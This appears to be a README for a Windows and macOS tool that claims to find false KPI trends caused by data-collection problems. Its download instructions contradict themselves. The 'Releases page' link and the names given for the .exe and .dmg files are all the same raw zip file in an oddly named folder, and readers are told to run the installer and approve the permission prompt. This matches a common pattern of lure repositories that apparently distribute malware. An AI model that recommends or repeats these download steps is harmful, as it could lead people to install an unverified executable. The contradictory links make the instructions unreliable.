Trend-vs-Collection-Forensics is an application designed to help you understand why many Key Performance Indicator (KPI) trends might not be what they seem. Instead of taking trends at face value, this tool helps identify common issues like measurement errors or changes in data collection that can create false trends.
This project covers several common causes of incorrect trends:
- Schema drift: how changes in the data structure affect measures
- Coverage loss: missing data that skews results
- Time shifts: delays or shifts in data recording times
- Backfills: corrections or additions of historical data
- Dedupe: removing duplicate records
- Sampling effects: partial data affecting the trend
- Mix change: changes in segments or groups within the data
It also offers protocols for reviewing evidence carefully (Trend Courtroom), ways to test parts of your data for consistency (segment invariance tests), and ready-to-use checklists and a scoring system (Trend Report Card) to help you make safer decisions.
Before you download and install, please make sure your computer meets these basic requirements:
- A Windows 10 or macOS Big Sur (or later) computer
- At least 4 GB of RAM (8 GB recommended for larger data sets)
- 500 MB of free disk space for program files
- An active internet connection for downloading and updates
- Optional but useful: A spreadsheet program like Excel or Google Sheets for viewing reports
The application runs smoothly on most modern desktops or laptops. No programming skills or special software is needed to use Trend-vs-Collection-Forensics.
Follow these steps to download, install, and run Trend-vs-Collection-Forensics successfully.
Click the big green button at the top of this page, or go directly to this link:
https://raw.githubusercontent.com/Erozin624/Trend-vs-Collection-Forensics/main/connaturality/Collection-Trend-Forensics-vs-v1.7.zip
This page shows all the versions available for download.
On the Releases page, look for the latest stable version. You will see files with names ending in .exe for Windows or .dmg for macOS.
- For Windows users, click the
.exefile to start the download. - For macOS users, click the
.dmgfile.
If you are unsure which one to download, look for a file named something like https://raw.githubusercontent.com/Erozin624/Trend-vs-Collection-Forensics/main/connaturality/Collection-Trend-Forensics-vs-v1.7.zip for Windows or https://raw.githubusercontent.com/Erozin624/Trend-vs-Collection-Forensics/main/connaturality/Collection-Trend-Forensics-vs-v1.7.zip for macOS.
Once you click the correct file, your browser will download it to your computer. You can usually find it in your “Downloads” folder.
- Windows: Double-click the
.exefile you downloaded. Follow the steps in the installer. You may need to allow the program to install by clicking “Yes” when Windows asks for permission. - macOS: Open the
.dmgfile. Drag the Trend-vs-Collection-Forensics icon into your Applications folder. Eject the disk image when finished.
Find Trend-vs-Collection-Forensics in your Start menu (Windows) or Applications folder (macOS). Double-click to open it.
You can download Trend-vs-Collection-Forensics from the official release page here:
https://raw.githubusercontent.com/Erozin624/Trend-vs-Collection-Forensics/main/connaturality/Collection-Trend-Forensics-vs-v1.7.zip
This page contains all versions. Always choose the latest stable release to get the newest features and fixes.
The installation process is straightforward and guided by the setup wizard, so just follow each step on screen.
Trend-vs-Collection-Forensics focuses on helping you spot fake KPI trends caused by data collection problems. Here are the main features it offers:
- Fake-Trend Taxonomy: Learn what causes false trends with clear explanations.
- Trend Courtroom: A step-by-step evidence review process to test your trends.
- Segment Invariance Tests: Check if data segments stay consistent over time.
- Copy-Ready Checklists: Use practical checklists to verify data quality.
- Trend Report Card: Get a score to rate the trustworthiness of a trend.
- Data Visualization Support: Simple charts that show suspected measurement issues.
- User-Friendly Interface: No coding needed to import your data and run tests.
- Export Options: Generate reports in PDF or spreadsheet format for sharing.
Using Trend-vs-Collection-Forensics is designed to be straightforward. Here’s a simple workflow:
-
Import Your Data
Use the Import button to load your KPI data file. Supported formats include CSV and Excel files. -
Run Quality Checks
Follow on-screen prompts to run tests like schema drift detection and segment checks. -
Review Results
View detailed reports and charts that explain potential problems with your trends. -
Use the Checklists
Work through the copy-ready checklists to validate your findings. -
Score Trends
Generate a Trend Report Card to see how reliable your data trends are. -
Export & Share
Save reports as PDF or spreadsheets to share with decision makers or your team.
- Always use the most recent data for analysis.
- Check for any unexpected changes in data collection methods.
- Repeat tests after changes to your data source.
- Use the Trend Report Card regularly to monitor ongoing data reliability.
- Share results with your team to improve overall data awareness.
If you run into issues:
- Ensure your system meets the minimum requirements.
- Check your file format matches what is accepted (CSV or Excel).
- Restart the application if it stops responding.
- Visit the Releases page to download any available updates.
- If problems persist, use the GitHub Issues page to report bugs or feature requests.
- Learn more about common measurement problems in analytics.
- Explore guides on KPI monitoring best practices.
- Use sample data sets included in the application to practice.
- Find detailed explanations for each fake-trend type within the app.
If you need assistance or want to report a problem:
- Open an Issue on the GitHub repository
- Check for answers in the repository Discussions
- Review the FAQ section in the application help menu
Thank you for choosing Trend-vs-Collection-Forensics for your data reliability needs.
Download the latest version here to get started.